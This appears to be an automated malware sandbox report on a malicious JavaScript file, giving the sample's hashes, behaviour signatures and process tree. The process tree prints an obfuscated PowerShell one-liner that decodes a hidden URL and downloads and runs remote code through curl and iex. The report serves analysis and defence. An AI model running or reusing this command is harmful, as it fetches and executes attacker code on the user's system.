Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/09/2026, 11:19

General

  • Target
    jaffacakes118_19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f.js
  • Size 200KB
  • Sample260912-neyekafr21
  • SHA256 19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f.js
    1⤵
      PID:4644
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $reuiahvpfcmoy='ur' ;new-alias printout c$($reuiahvpfcmoy)l;$yikrtgaqsdej=(127,139,151,150,130,148,145,143,130,146,132,127,133,127,148,75,145,140,141,76,78,75,141,133,141,92,144,90,138,134,139,145,144,79,78);$wbhfayzcdjeuk=('bronx','get-cmdlet');$gktrinavpdmhoj=$yikrtgaqsdej;foreach($mvkopyiweznbjh in $gktrinavpdmhoj){$zylamqdrni=$mvkopyiweznbjh;$mzwvqgo=$mzwvqgo+[char]($zylamqdrni-29);$tikuycfdbmgpzh=$mzwvqgo; $bfkjtngil=$tikuycfdbmgpzh};$uytdzfkgejh[2]=$bfkjtngil;$jmpgwvxqbsn='rl';$vhreqicgmxfbad=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bfkjtngil)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $reuiahvpfcmoy='ur' ;new-alias printout c$($reuiahvpfcmoy)l;$yikrtgaqsdej=(127,139,151,150,130,148,145,143,130,146,132,127,133,127,148,75,145,140,141,76,78,75,141,133,141,92,144,90,138,134,139,145,144,79,78);$wbhfayzcdjeuk=('bronx','get-cmdlet');$gktrinavpdmhoj=$yikrtgaqsdej;foreach($mvkopyiweznbjh in $gktrinavpdmhoj){$zylamqdrni=$mvkopyiweznbjh;$mzwvqgo=$mzwvqgo+[char]($zylamqdrni-29);$tikuycfdbmgpzh=$mzwvqgo; $bfkjtngil=$tikuycfdbmgpzh};$uytdzfkgejh[2]=$bfkjtngil;$jmpgwvxqbsn='rl';$vhreqicgmxfbad=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bfkjtngil)
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5820

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_zxrz0nwy.syb.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zxrz0nwy.syb.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/5820-0-0x000001CF77560000-0x000001CF77570000-memory.dmp

          memory/5820-1-0x000001CF77560000-0x000001CF77570000-memory.dmp

          memory/5820-2-0x000001CF77530000-0x000001CF77552000-memory.dmp

          memory/5820-10-0x000001CF77560000-0x000001CF77570000-memory.dmp